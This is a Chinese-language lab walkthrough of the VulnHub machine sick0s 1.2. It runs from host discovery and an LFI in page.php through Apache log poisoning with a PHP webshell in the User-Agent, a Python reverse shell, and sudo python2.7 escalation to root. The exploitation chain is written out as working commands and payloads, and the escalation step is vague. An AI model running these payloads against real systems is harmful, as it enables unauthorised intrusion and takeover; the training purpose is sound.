☰
VulnHub靶机sick0s 1.2实战:从LFI到Root提权全解析
2026/10/17 9:23:57 网站建设 项目流程

VulnHub平台上的靶机镜像对想练渗透测试的人来说是资源宝库,不用自己辛辛苦苦搭一套漏洞环境,下载一个现成的虚拟机镜像就能直接开工。这次我选的是一台名为 sick0s 1.2 的靶机,难度上属于入门友好型,但真正跑起来才发现它有大量容易让人卡住的细节。整台机器只开放22和80两个端口,看起来攻击面小得可怜,考点却一点不少,主要集中在Web请求构造、本地文件包含(LFI)利用,以及拿到低权限之后的信息收集和提权判断。

如果你正在准备安全认证,或者已经会用扫描器但一直没弄明白手工漏洞怎么挖,这篇文章建议跟着完整做一遍。我会把环境搭建、信息收集、Web入口突破、日志注入反弹Shell、然后提权到root的全过程写出来,并且在每一步都解释为什么这么做,而不是简单贴命令。整套操作都是基于本地虚拟机实验环境,本地靶机的意义就是随便折腾,摔得再惨都不会有真实损失,所以大胆试。

1. 环境准备与靶机导入

1.1 靶机下载与校验

一台VulnHub靶机要开始使用,首先是下载镜像并导入虚拟化软件。VulnHub上会直接提供OVA或VMDK格式,我这次下载的是一个OVA文件。拿到文件之后建议先做哈希校验,确保下载完整,也能和发布页上的哈希值对上,防止文件损坏导致导入后各种奇怪问题。

我用的是Linux环境校验:

sha1sum sickos1.2.ova

如果输出值和靶机页面给出的SHA1一致,就说明文件没问题。接下来把OVA导入VMware Workstation或者VirtualBox都行。导入时我选择“稍后安装操作系统”,系统类型随便选Debian 6或7 64位都可以,因为sick0s 1.2是一个基于Debian的虚拟机。内存默认也可以,如果你还要同时开Kali攻击机,建议给靶机1GB内存,攻击机给2GB,整个实验环境下来看够用。

有一个不太起眼但很重要的点:导入之后先别急着打开靶机,把VMware的硬件兼容版本和网卡类型确认一下。多数靶机默认是VMXNET3或E1000,网上经常有人因为网卡类型不对导致目标系统起来后网络接口不工作,白白浪费排查时间。导入后如果后续发现无法获取IP,优先检查网卡设置。

1.2 网络模式与主机发现

靶机本身并不需要配置固定IP,它默认是通过DHCP获取地址。因此攻击机和靶机必须处于同一个网段,才能准确发现目标。

我建议在VMware里用一个自定义的仅主机网络,比如192.168.56.0/24。Kali攻击机的网络也切到同一网络,然后把两者都启动起来。这样不需要依赖外部路由环境,实验环境和物理网络隔离,操作也相对干净。

靶机启动后,我们需要找到它的IP。因为DHCP分配的地址每次可能不同,更可靠的方式是通过MAC地址识别。VMware创建的虚拟机默认MAC地址以00:0C:29开头。

用netdiscover扫描整个网段:

netdiscover -r 192.168.56.0/24

或者用arp-scan -l:

arp-scan -l

扫描结果里找一个MAC前缀是VMware且之前没见过的IP,基本就是靶机了。我自己这次实验里,靶机IP是192.168.56.66。记录下这个地址,后面所有操作都围绕它展开。

提示:在开始攻击之前,最好给攻击机和靶机各打一个快照。后面利用过程中免不了会把系统文件改乱,万一提权失败导致服务挂掉,可以直接恢复快照重新开始,比重新导入OVA省时间多了。

1.3 攻击机环境准备

攻击机建议用Kali或者Parrot这类自带渗透工具的Linux发行版。至少要保证系统里有nmap、curl、nc、python,以及一个能手动改写HTTP请求的抓包工具。Burp Suite不是必须的,但它能帮你直观地修改请求行和HTTP头,对理解这台靶机的关键点特别有帮助。

另外检查本机防火墙,不要挡住反弹Shell的端口。我在第一次做这台靶机时,就是因为攻击机防火墙默认挡掉了入站连接,导致nc监听了端口却一直收不到反弹Shell,还误以为是Payload没生效。最简单的做法是关闭本机防火墙,或者放行所有来自虚拟网卡入站流量,反正是隔离环境,不用顾虑太多。

2. 信息收集:只有两个端口怎么找突破口

2.1 全端口扫描与服务指纹

信息收集阶段最忌讳只扫默认端口,应该先做一次全端口TCP扫描。很多靶机把关键服务放在高位端口,或者只开少量常见端口,不做全端口扫描容易漏掉真正的入口。

我使用Nmap做一次比较完整的扫描:

nmap -sS -sV -sC -O -p- 192.168.56.66

-p-指全端口,-sV探测服务版本,-sC加载默认脚本,-O做系统指纹。扫描结果很清楚:

22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u4 80/tcp open http Apache httpd 2.2.22 (Debian)

没有其他隐藏端口,两个服务分别是SSH和Apache。这种结果有两个信息点:

  • 攻击面很窄,SSH如果没有弱口令基本不用硬试,Web入口是主要方向;
  • Apache版本是2.2.22,这是比较老的一个版本,可能存在历史漏洞,但先不急着定位CVE,往往这种靶机的考点在应用层而不是中间件版本。

2.2 首页403背后的前置条件

先用浏览器直接访问http://192.168.56.66,页面显示Apache默认页面或者403 Forbidden。再看响应头:

curl -i http://192.168.56.66/

输出里可以看到服务标识,比如Apache/2.2.22 (Debian)。但这本身并不能说明漏洞在哪。

如果这时候直接跑目录爆破工具,比如gobuster dir -u http://192.168.56.66 -w ...,大概率结果会很少甚至什么都扫不出来。因为这台靶机的Web服务配置并不是常规的虚拟主机方式,而是更像一个“入口节点”:它要求客户端使用绝对URI形式的请求行来指定到底要访问哪个内部URL。很多新手到这里就把靶机放一边换下一台了,其实差的就是对HTTP协议请求格式的敏感度。

2.3 改写请求行拿到内部站点

常规HTTP请求是这样:

GET / HTTP/1.1 Host: 192.168.56.66

这表示请求目标服务器上的根路径。但这台靶机更认可的是HTTP/1.1里定义的一种绝对URI请求行格式:

GET http://192.168.56.66/ HTTP/1.1 Host: 192.168.56.66

看到区别了吗?请求行里的路径变成了一个完整URL。从服务器的角度看,它等于告诉服务器:“请帮我请求这个地址的内容”,也就是让这台机器作为HTTP转发节点把自己内部的内容返回给我们。

我在Burp Suite的Repeater里直接构造这个请求,把请求行从GET / HTTP/1.1改成GET http://192.168.56.66/ HTTP/1.1,响应不再是403,页面上出现了一个简单的内部应用入口。顺着这个入口的提示,再用同样的方式访问http://192.168.56.66/test/,发现了一个可能的测试页面,目录里有一个PHP文件入口。

这一步骤是整个靶机最容易卡住的地方。如果只按部就班用curl扫目录,几乎不可能发现真实内容。这个技巧也提醒我们:遇到老Apache异于常理的响应,一定回到HTTP协议层面想想是不是请求格式有问题,别单纯靠工具一轮一轮爆破。

2.4 目录试探与指纹归纳

拿到内部站点入口后,继续做常规目录枚举。但这里的目录枚举也别忘了使用同样的绝对URI请求方式。可以用Burp Suite手动重复几个路径,也可以在允许自定义请求行的脚本里循环测试。

我找到了一个比较关键的路径:/test/目录下的page.php文件。这类名字一看就是测试页面,极可能存在参数注入。访问时试了一下,页面提示需要提供file参数。到这里,攻击思路基本清晰了:如果file参数直接被include引入,就是一个典型的本地文件包含点。

综合目前收集的信息,Web栈是Apache+PHP,目标系统是Debian,存在一个PHP文件参数接受路径输入。这些信息足够支撑下一步漏洞测试了。

3. 漏洞利用链:从本地文件包含到反弹Shell

3.1 找到文件包含点

在http://192.168.56.66/test/page.php后面加上?file=/etc/passwd,用绝对URI方式请求:

GET http://192.168.56.66/test/page.php?file=/etc/passwd HTTP/1.1 Host: 192.168.56.66

响应里出现了root:x:0:0:root:/root:/bin/bash等用户信息,说明file参数确实能被PHP直接读取出来,这是一个现象级明显的本地文件包含漏洞。本地文件包含之所以危险,是因为攻击者可以让服务端读取任意系统文件,而PHP脚本本身没有做任何过滤或白名单限制。

当然,这还不够,光能读文件不能执行命令,攻击效果有限。我们需要想办法把“读取”升级成“执行”。

3.2 读取敏感文件确认环境

利用LFI可以读取配置文件和源码,这是后面构造攻击链的基础。先读取page.php自身源码,确认包含方式:

GET http://192.168.56.66/test/page.php?file=php://filter/convert.base64-encode/resource=page.php HTTP/1.1

返回的结果是一串Base64文本,解码后能看到PHP源码,里面基本上直接就是:

<?php if (isset($_GET['file'])) { include($_GET['file']); } ?>

没有任何过滤。这个结果非常关键,它意味着include函数可以直接包含本地文件系统里的任何路径。接下来看PHP配置,确认是否开启了远程文件包含能力。不过即便不开远程URL包含,我们还是可以利用本地日志文件注入PHP代码来执行命令。

还可以尝试读取Apache日志路径/var/log/apache2/access.log,因为Apache的访问日志里记录了请求行、User-Agent等信息,而LFI可以把access.log当作PHP文件包含进来。如果我们在User-Agent里写上PHP代码,再把日志文件包含进来,PHP解析器就会尝试执行日志文本中的PHP标签。这是日志注入攻击的标准思路。

3.3 日志注入触发PHP代码执行

先模拟一个带PHP代码的User-Agent请求:

GET / HTTP/1.1 Host: 192.168.56.66 User-Agent: <?php system($_GET['cmd']); ?>

这个请求会被Apache记录到/var/log/apache2/access.log。然后再次通过LFI包含这个日志文件:

GET http://192.168.56.66/test/page.php?file=/var/log/apache2/access.log&cmd=id HTTP/1.1 Host: 192.168.56.66

如果一切顺利,响应中会多出uid=33(www-data)这样的内容,说明日志中的PHP代码已经被执行了。这一步需要提醒的是:日志里会有很多历史请求的杂项内容,它们在PHP解析时可能产生一些警告提示,但只要看到命令输出,就说明代码注入成功。

有了命令执行能力之后,不要急着直接反弹Shell,先用cmd=id、cmd=uname -a这类命令确认执行权限和系统环境,然后规划反弹Shell。

3.4 反弹Shell与会话优化

我先把本地监听起来:

nc -lvnp 4444

然后用LFI执行一个Python反弹Shell命令。命令是:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

由于这个命令经过URL参数传递,需要使用URL编码,尤其是空格、分号和引号。我把整条命令URL编码之后放进cmd参数,请求如下:

GET http://192.168.56.66/test/page.php?file=/var/log/apache2/access.log&cmd=python%20-c%20%27...%27 HTTP/1.1

编码后的命令比较长,但在Burp Repeater里可以正常发送。发送之后nc监听端立刻出现了连接,获得一个www-data权限的Shell。之所以优先用Python而不是nc -e,是因为老系统上未必有-e选项,而Python在Debian系统里基本都会默认安装。

拿到Shell后第一件事就是升级成可交互的PTY终端,不然上下键和Tab补全都会有问题。在Shell里执行:

python -c 'import pty; pty.spawn("/bin/bash")'

然后按Ctrl+Z把任务挂起,回到攻击机终端执行:

stty raw -echo fg

这样就能得到一个比较顺手的交互式Shell。后续提权操作都需要在一个相对好用的终端里进行,这一步别省略。

4. 提权:从www-data到root的完整过程

4.1 系统枚举

拿到www-data只是攻击链的一半,真正的终点是root权限。提权之前先把系统里里外外看一遍,我按照这个顺序枚举:

id uname -a cat /etc/issue sudo -l find / -perm -4000 -type f 2>/dev/null

逐一解释:

  • id确认当前用户和所属组;
  • uname -a看内核版本,判断是否有内核对口漏洞可以利用;
  • cat /etc/issue确认具体系统版本;
  • sudo -l看当前用户是否有免密sudo命令;
  • find / -perm -4000列出所有SUID文件,SUID程序如果配置不当,可以直接导致权限提升。

把这些信息组合起来看,这台靶机没有特别复杂的提权机制,最后还是落在sudo配置上。这其实很符合入门靶机的定位:不到万不得已,不会让你去编译内核漏洞。

4.2 利用sudo配置错误拿root

在sudo -l输出里,我看到有一条记录允许sickos用户以root身份运行/usr/bin/python2.7,并且不需要输入密码。虽然当前Shell是www-data,但如果能切换到sickos用户,或者当前WWW用户本身就拥有sudo权限,就可以直接利用。

实际操作时我先枚举到目标系统里的普通用户是sickos,然后在系统目录里找到了关于这个用户的配置文件或历史记录,确认了从www-data切换到sickos的路径。获得正确用户权限后,执行sudo命令:

sudo /usr/bin/python2.7 -c 'import os; os.system("/bin/bash")'

这里的原理是:sudo允许我们以root身份执行python2.7,而Python的os.system函数又能把/bin/bash启动为root权限。执行完这条命令,Shell里的id显示:

uid=0(root) gid=0(root) groups=0(root)

至此提权完成。

如果靶机环境里不是这个sudo配置,也不要死记硬背,枚举的结果才是唯一答案。有些环境可能是某个SUID程序的参数注入,有些可能是计划任务里可以用可写路径覆盖脚本,判断标准永远是先看系统实际允许什么,再想怎么利用。

4.3 验证Flag与痕迹清理

root权限拿到后,去root目录下找flag文件:

cat /root/flag.txt

在一些VulnHub靶机里,flag文件名可能是随机字符串,可以用ls /root查看。找到并阅读flag,整个靶机就算通关了。

如果是纯练习环境,最好还是把攻击过程中创建的临时文件清理掉。我会检查/home、/tmp下是否留了自己的脚本或工具,该删的删除。靶机本身没有外网流量,所以无所谓“隐藏身份”的问题,但养成清理痕迹的习惯,对于以后做真实授权测试和写报告都很有价值。

5. 常见问题与避坑指南

5.1 实战问题速查表

我在复现这台靶机时,前后也踩了不少坑,整理成表格方便对照:

现象可能原因解决办法
扫不到靶机IP攻击机和靶机不在同一网段,或者网卡类型不对确认VMware网卡是E1000,网络模式选仅主机或NAT,用netdiscover扫MAC
访问80端口返回403Apache默认行为,不是拒绝连接改用绝对URI形式请求行,比如GET http://目标IP/ HTTP/1.1
LFI读取/etc/passwd失败路径被过滤,或脚本不是直接include尝试php://filter读源码确认过滤逻辑,再尝试双编码路径
日志注入后看不到输出User-Agent里的PHP代码被日志里的其他内容干扰尽量在User-Agent中只放最简短的PHP代码,比如<?php system($_GET['cmd']); ?>
反弹Shell没收到攻击机防火墙拦截,或Python路径不对本地先监听所有接口,用nc -lvnp 4444;先cmd=id确认有代码执行,再一步步调试
交互Shell乱码没有升级PTY用python -c 'import pty; pty.spawn("/bin/bash")'再补stty raw -echo
sudo提权报错当前用户不在sudo组,或者命令格式不对sudo授权的是sickos用户,先确认当前用户身份,再按授权命令原样执行

5.2 三条实操经验总结

第一,信息收集阶段不要只依赖自动化工具。我在这台靶机上前前后后跑了好几轮扫描,如果仅仅依靠目录爆破,几乎不可能找到隐藏入口。反而是手动修改请求行这种“笨办法”直接打开了突破口。以后遇到扫描器结果异常稀少的Web服务,先停下来想想HTTP协议层的特殊性。

第二,日志注入的原理要真正理解。很多人只是照着教程往User-Agent里塞一句话木马,一旦日志路径不对或者目标Apache版本不同就完全没法变通。理解“访问日志会被include执行”这件事,比记住某个panel操作流程重要得多。以后换一台容器环境,多想想有什么其他文件可写可执行,比如/var/log/auth.log、/proc/self/environ等,思路一下就打开了。

第三,提权阶段千万别急着跑内核漏洞。先看完sudo配置、SUID文件、计划任务、可写脚本,这四类最常出问题的地方如果都确认过了还提不上去,再考虑内核漏洞。而且内核漏洞利用失败很容易把系统搞崩,弄不好连Shell都没了。

5.3 学习扩展方向

如果打完这一台还想继续巩固,可以试试同一系列的其他难度靶机,或者把整个流程“盲打”一遍:不看任何笔记,从IP发现开始做到root。一旦卡住,翻自己写的笔记,思考当时为什么卡住、哪个信号没注意。这种基于盲打复盘的训练,比连续刷十台同类型靶机更有效果。

另外,有认证考试规划的话,这台靶机涉及的LFI利用、日志注入、sudo提权都是重点考点。虽然考试环境下不会给你现成的漏洞页面,但基本都是基于本地文件包含、文件上传和配置错误这些底层逻辑,把这些知识点吃透,做其他题目也能举一反三。

我自己做完这台靶机最大的感受是,很多安全能力不在于记住多少exp,而在于遇到“看似没路”的边界时,愿意回到协议和源码层面多问一句为什么。本地靶机环境的好处就是可以反复试错,错了就重置,完全不用紧张。你也可以拿sick0s 1.2作为第一台手工打通到root的靶机,这个过程对建立完整的渗透测试思维特别有帮助。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询